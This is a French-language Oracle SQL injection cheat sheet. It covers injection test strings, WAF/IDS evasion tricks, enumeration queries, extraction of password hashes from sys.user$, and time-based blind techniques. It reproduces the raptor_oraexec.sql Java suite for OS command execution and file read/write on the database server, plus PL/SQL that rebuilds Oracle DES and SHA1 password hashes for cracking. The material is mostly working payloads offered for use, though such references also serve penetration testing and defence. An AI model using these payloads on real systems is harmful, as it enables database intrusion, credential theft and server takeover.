Oracle Injection Cheat Sheet

logo-oracle

Introduction

Ce document recense de manière synthétique et la plus complète possible, l’ensemble des vecteurs d’attaque pour des injections SQL (SQLi & BSQLi) ciblant les bases de données Oracle.

Toutes les syntaxes, requêtes, codes sources, PoC et exemples ont été testés et validés pour la production de cette synthèse.

Bases de données par défaut

SYSTEM Disponible dans toutes les versions
SYSAUX Disponible dans toutes les versions

Tester une injection

Injection dans une chaîne de caractères

Pour la requête suivante :

SELECT * FROM dual WHERE DUMMY = '[INJ]';
Simple quote x1 False
‘ ‘ Simple quote x2 True
«  Double quote x1 False
«  » Double quote x2 True
\ Backslash x1 False
\\ Backslash x2 True

Exemples :

SELECT * FROM dual WHERE DUMMY = 'xxx''';
SELECT * FROM dual WHERE data = '1'''''''''''UNION SELECT 'Y' FROM dual;

Remarques :

  • Il est possible d’utiliser autant d’apostrophe (quote) et de guillemet (double-quote) tant qu’ils vont par paire.
  • Il est possible de continuer la requête à la suite d’une chaîne de quote.
  • Une quote échappe une seconde quote, d’où le chaînage par paire.
  • La condition  »= » retourne faux.

Injection par valeurs numériques

Pour la requête suivante :

SELECT * FROM Table WHERE data = [INJ];
AND 1=1 True
AND 0=1 False
1*1337 Retourne 1337 si vulnérable

Format numériques valides :

Chacune de ces techniques peut servir d’évasion d’expressions régulières d’IDS/WAF.

digits 1337
digits[.] 1337.
digits[.]digits 13.37
digits[eE]digits 13e37, 13E37
digits[eE][+-]digits 13e-37, 13E+37
digits[.][eE]digits 13.e37
digits[.]digits[eE]digits 13.3E7
digits[.]digits[eE][+-]digits 13.3e-7
[.]digits .1337
[.]digits[eE]digits .13e37
[.]digits[eE][+-]digits .13E-37

Constantes numériques sans nombres

Oracle fourni quelques constantes littérales, qui sont interprétées comme des données numériques. De telle constante permettent de bypasser des règles au niveau des WAF/IDS.

  • binary_double_infinity : type BINARY_DOUBLE pour l’infini positif
  • binary_double_nan : type BINARY_DOUBLE pour « not a number »
  • binary_float_infinity : type BINARY_FLOAT pour l’infini positif
  • binary_float_nan : type BINARY_FLOAT pour « not a number »

Ces constantes, insensibles à la casse, peuvent être utilisées au travers de comparaisons numériques :

select * from dual where 1 < binary_double_infinity;

Commenter la fin d’une requête

Les syntaxes suivantes peuvent être utilisées pour commenter (désactiver) la fin d’une requête à la suite d’une injection :

SQL commentaire
/* C-Style commentaire

Exemples :

SELECT * FROM Table WHERE field1 = '' OR 1=1 --' AND field2 = '';

Test de version Oracle

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance; -- need privileges

Résultats :

BANNER
——————————————————————————–
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 – 64bit Production

BANNER
——————————————————————————–
TNS for Linux: Version 11.2.0.1.0 – Production

VERSION
—————–
11.2.0.1.0

Remarques :

  • Toutes les requêtes SELECT destinées à une base Oracle doivent indiquer une table.
  • La table « dual » est une table de test disponible par défaut.

Crédentiels de la base de données

Utilisateur courant

SELECT user FROM dual

Utilisateurs dans toutes les versions

SELECT username FROM all_users;

Utilisateurs et mots de passe jusqu’à la 10g (avec privilèges)

SELECT name, password from sys.user$;

Résultats :

SYS                            2BD0DC4DFC29152C

Utilisateurs et mots de passe jusqu’à la 11g (avec privilèges)

SELECT name, spare4 from sys.user$;

Résultats :

SYS                            S:5AB924E4B04366655D4CB8447B092628D6E865BE04523AC4485BAAB64D38

Noms des bases de données

Base de données courante

SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT global_name FROM global_name;
SELECT SYS.DATABASE_NAME FROM DUAL;

Bases de données de l’utilisateur

SELECT DISTINCT owner FROM all_tables;

Nom d’hôte du serveur

SELECT host_name FROM v$instance; -- (Privileged)
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT UTL_INADDR.get_host_name('[IP_DU_SERVEUR]') FROM dual;
SELECT UTL_INADDR.get_host_address FROM dual;

Tables et colonnes

Récupérer le nom des tables

SELECT table_name FROM all_tables;

Récupérer le nom des colonnes

SELECT column_name FROM all_tab_columns;

Trouver les tables à partir d’un nom de colonne

SELECT column_name FROM all_tab_columns WHERE table_name = 'Users';

Trouver les colonnes à partir d’un nom de table

SELECT table_name FROM all_tab_columns WHERE column_name = 'password';

Récupérer plusieurs noms de tables en une fois

SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM all_tables;

Remarques :

  • Le tampon de récupération des noms des tables peut s’avérer trop petit et donc causer une erreur. Ne pas hésiter à réduire la quantité d’information retournée en appliquant un « WHERE table_name LIKE ‘A%' » pour n’obtenir que les tables dont le nom commence par « A ».

Éviter l’utilisation des quotes

Encodage en hexadécimal

Oracle DB ne permet pas l’utilisation des chaînes en hexadécimal via le préfixe 0x ou x » ; ni en binaire 0b, b ». Il est possible d’effectuer un select sur une valeur hexadécimale, toutefois celle-ci n’est pas interprétée ; Oracle cherche une colonne du nom hexadécimal sans le convertir.

SELECT 0x44554d4d59 FROM dual; -- work but return nothing

Fonction CHR()

SELECT CHR(88)||CHR(88)||CHR(88) FROM dual;

Concaténation de chaîne de caractères

SELECT 'a'||'d'||'mi'||'n' FROM dual;

Les requêtes conditionnelles

Syntaxe du CASE dans un SELECT

SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual

Syntaxe du IF dans un bloc

BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

Remarques :

  • La requête précédente fait un timeout de 3 secondes dans le cas où la condition est vraie.
  • Cette syntaxe n’est pas fonctionnelle au sein d’une requête SELECT.

Gestion du temps

Via un procédure dédiée

dbms_lock.sleep(N)

Remarques :

  • La valeur de N est exprimée en secondes
  • Cette syntaxe nécessite des droits additionnels (d’éxecution de procédure).

Via un timeout réseau

SELECT UTL_INADDR.get_host_address('non-existant-domain.com') FROM dual;
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
SELECT UTL_HTTP.REQUEST('http://site.com') FROM dual;

Via une lourde consommation de ressources par alias

AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));

Privilèges et droits

Privilèges de l’utilisateur courant :

SELECT privilege FROM session_privs;

Privilèges d’un utilisateur particulier (nécessite des droits) :

SELECT * FROM dba_sys_privs WHERE grantee = 'user';

Liste tous les utilisateurs et leurs droits :

SELECT grantee, granted_role FROM dba_role_privs; -- (Privileged)

Lecture, écriture  et commande exécution sur le serveur

Les fichiers locaux du système peuvent être lus au travers de l’exécution de commande lorsque Java est installé et présent sur le serveur Oracle DB, tout comme l’écriture de fichiers.

La méthode consiste à générer une procédure qui exploite du code Java pour accéder au système de fichier et directement à un shell.

Cette technique a été diffusée par Raptor sur 0xdeadbeef.info. Testée sur la dernière version en date 11gR2.

--
-- $Id: raptor_oraexec.sql,v 1.2 2006/11/23 23:40:16 raptor Exp $
--
-- raptor_oraexec.sql - java exploitation suite for oracle
-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
--
-- This is an exploitation suite for Oracle written in Java. Use it to
-- read/write files and execute OS commands with the privileges of the
-- RDBMS, if you have the required permissions (DBA role and SYS:java).
--
-- "The Oracle RDBMS could almost be considered as a shell like bash or the
-- Windows Command Prompt; it's not only capable of storing data but can also
-- be used to completely access the file system and run operating system
-- commands" -- David Litchfield (http://www.databasesecurity.com/)
--
-- Usage example:
-- $ sqlplus "/ as sysdba"
-- [...]
-- SQL> @raptor_oraexec.sql
-- [...]
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa');
-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb');
-- SQL> exec dbms_java.set_output(2000);
-- SQL> set serveroutput on;
-- SQL> exec javareadfile('/tmp/mytest');
-- /bin/ls -l > /tmp/aaa
-- /bin/ls -l / >/tmp/bbb
-- SQL> exec javacmd('/bin/sh /tmp/mytest');
-- SQL> !sh
-- $ ls -rtl /tmp/
-- [...]
-- -rw-r--r--   1 oracle   system        45 Nov 22 12:20 mytest
-- -rw-r--r--   1 oracle   system      1645 Nov 22 12:20 aaa
-- -rw-r--r--   1 oracle   system      8267 Nov 22 12:20 bbb
-- [...]
--

create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
public class oraexec
{
	/*
	 * Command execution module
	 */
	public static void execCommand(String command) throws IOException
	{
		Runtime.getRuntime().exec(command);
	}

	/*
	 * File reading module
	 */
	public static void readFile(String filename) throws IOException
	{
		FileReader f = new FileReader(filename);
		BufferedReader fr = new BufferedReader(f);
		String text = fr.readLine();
		while (text != null) {
			System.out.println(text);
			text = fr.readLine();
		}
		fr.close();
	}

	/*
	 * File writing module
	 */
	public static void writeFile(String filename, String line) throws IOException
	{
		FileWriter f = new FileWriter(filename, true); /* append */
		BufferedWriter fw = new BufferedWriter(f);
		fw.write(line);
		fw.write("\n");
		fw.close();
	}
}
/

-- usage: exec javacmd('command');
create or replace procedure javacmd(p_command varchar2) as
language java
name 'oraexec.execCommand(java.lang.String)';
/

-- usage: exec dbms_java.set_output(2000);
--        set serveroutput on;
--        exec javareadfile('/path/to/file');
create or replace procedure javareadfile(p_filename in varchar2) as
language java
name 'oraexec.readFile(java.lang.String)';
/

-- usage: exec javawritefile('/path/to/file', 'line to append');
create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
language java
name 'oraexec.writeFile(java.lang.String, java.lang.String)';
/

Raptor fourni également une seconde procédure d’exécution de code, raptor_oraextproc.sql.

Remarques :

  • Les chemins d’accès absolus aux fichiers de bases de données Oracle sont disponibles via la requête :
SELECT name FROM V$DATAFILE;

Requêtes distantes

Requêtes DNS externes

SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual;
SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual;

Mots de passe

Hachage

Oracle DB 7 à 10gR2

Les mots de passe de Oracle DB peuvent aller jusqu’à 30 caractères de long. Ils sont mis en majuscule avant toutes opérations de chiffrement. Les versions chiffrées font 8 octets. Ils se fondent sur l’algorithme DES avec le nom d’utilisateur comme salt (username||password). Les versions supérieures à la 10gR2 implémentent toujours cet algorithme.

Le bloc anonyme suivant utilise les procédures et fonctions natives d’Oracle DB pour régénérer ce mot de passe chiffré :

DECLARE
 username varchar2(30) := 'myLogin';
 pass varchar2(30) := 'myPassword';
 userpwd raw(128);
 enc_raw raw(2048);
 raw_key2 raw(128);
 pwd_hash raw(2048);
 hexstr varchar2(2048);
 len number;
 password_hash varchar2(16);
 raw_key raw(128):= hextoraw('0123456789ABCDEF');

procedure unicode_str(userpwd in varchar2, unistr out raw)
 is
 enc_str varchar2(124):='';
 tot_len number;
 curr_char char(1);
 padd_len number;
 ch char(1);
 mod_len number;
 begin
 tot_len:=length(userpwd);
 for i in 1..tot_len loop
 curr_char:=substr(userpwd,i,1);
 enc_str:=enc_str||chr(0)||curr_char;
 end loop;
 -- padd to 8 byte boundaries
 mod_len:= mod((tot_len*2),8);
 if (mod_len = 0) then
 padd_len:= 0;
 else
 padd_len:=8 - mod_len;
 end if;
 for i in 1..padd_len loop
 enc_str:=enc_str||chr(0);
 end loop;
 unistr:=utl_raw.cast_to_raw(enc_str);
 end;

BEGIN
 unicode_str(UPPER(username||pass), userpwd);
 dbms_obfuscation_toolkit.DESEncrypt(input => userpwd,
 key => raw_key, encrypted_data => enc_raw );
 hexstr:=rawtohex(enc_raw);
 len:=length(hexstr);
 raw_key2:=hextoraw(substr(hexstr,(len-16+1),16));
 dbms_obfuscation_toolkit.DESEncrypt(input => userpwd,
 key => raw_key2, encrypted_data => pwd_hash );
 hexstr:=hextoraw(pwd_hash);
 len:=length(hexstr);
 password_hash:=substr(hexstr,(len-16+1),16);
 dbms_output.put_line('Login : '||username);
 dbms_output.put_line('Password : '||pass);
 dbms_output.put_line('Oracle < 11g password generated : '||password_hash);
END;

Résultats :

Login : myLogin
Password : myPassword
Oracle < 11g password generated : 40CDF99E125555A7

Analyse de l’algorithme :

  • Le login est concaténé au mot de passe en clair puis l’ensemble est mis en majuscule.
  • Une clé DES-CBC fixe (0123456789ABCDEF) est utilisée pour chiffrer une première fois l’ensemble.
  • Suite à ce premier chiffrement, une seconde application du DES est réalisée avec comme clé les 8 derniers octets du premier chiffrement.
  • La version chiffrée résultante est celle exploitée par Oracle DB.

Oracle DB 11g et supérieures

A partir de la version 11g, les mots de passes peuvent être supérieurs à 30 caractères, avec une casse quelconque. Le mot de passe est toujours chiffré avec du DES (colonne « password ») mais aussi haché avec SHA1 (colonne « spare4 »). Le SHA1 est appliqué sur la concaténation du password et d’un salt.

Les versions 11g et supérieures conservent une rétro-compatibilités quant au stockage du mot de passe. Ainsi, la colonne « password » correspond au mot de passe chiffré avec l’ancien algorithme, moins sécurisé que la colonne « spare4 ». Cet ancien algorithme s’applique sur une version majuscule du mot de passe, réduisant considérablement la sécurité. La version « spare4 » quant à elle, conserve la casse du mot de passe, mais peut être aisément déjouée avec la colonne « password ».

Analyse de l’algorithme de mot de passe 11g et supérieures

Pour un utilisateur donné avec le mot de passe « password », un hash « spare4 » est stocké dans la base, du type :

S:F7810C319CF8BD2EF575E0C3B05F6C3110FABF9774D69BAFF4AF846FC6C4

Les hashs spare4 de Oracle 11g et supérieures sont tous préfixés de « S: ». L’algorithme de hachage est le SHA1 avec un salt aléatoire de 10 octets concaténé à la fin du hash. Ainsi on a :

  • Hash complet : « S:F7810C319CF8BD2EF575E0C3B05F6C3110FABF9774D69BAFF4AF846FC6C4 »
  • Préfixe : « S: »
  • Salt de 10 octets : « 74D69BAFF4AF846FC6C4 »
  • Hash SHA1 du mot de passe + salt : « F7810C319CF8BD2EF575E0C3B05F6C3110FABF97 »

En reproduisant les traitements de l’algorithme, pour le mot de passe « password », on revient bien à notre hash stocké dans la base Oracle :

SELECT CONCAT('S:', UPPER(SHA1(CONCAT('password', UNHEX('74D69BAFF4AF846FC6C4')))), '74D69BAFF4AF846FC6C4'); -- syntaxe MySQL

Bloc anonyme :

-- Oracle 11g anonymous bloc
set serveroutput on;
declare
 p_string varchar2(2000) := 'password';
 p_salt raw(10) := hextoraw('74D69BAFF4AF846FC6C4');
 lv_hash_value_sh1 raw (100);
 lv_varchar_key_sh1 varchar2 (40);
begin
 lv_hash_value_sh1 :=
 dbms_crypto.hash (src => utl_raw.cast_to_raw (p_string)||p_salt,
 typ => dbms_crypto.hash_sh1);
 SELECT lower (to_char (rawtohex (lv_hash_value_sh1)))
 INTO lv_varchar_key_sh1
 FROM dual;
 dbms_output.put_line('String to encrypt : '||p_string);
 dbms_output.put_line('Salt used : '||rawtohex(p_salt));
 dbms_output.put_line('SHA1 encryption of password||salt : '||lv_varchar_key_sh1);
 dbms_output.put_line('Oracle format : S:'||upper(lv_varchar_key_sh1)||upper(rawtohex(p_salt)));
end;

Résultats :

String to encrypt : password
Salt used : 74D69BAFF4AF846FC6C4
SHA1 encryption of password||salt : f7810c319cf8bd2ef575e0c3b05f6c3110fabf97
Oracle format : S:F7810C319CF8BD2EF575E0C3B05F6C3110FABF9774D69BAFF4AF846FC6C4

Cassage

Différentes solutions permettent de tester la résistance des mots de passe Oracle pour tous types de versions.

Sources & ressources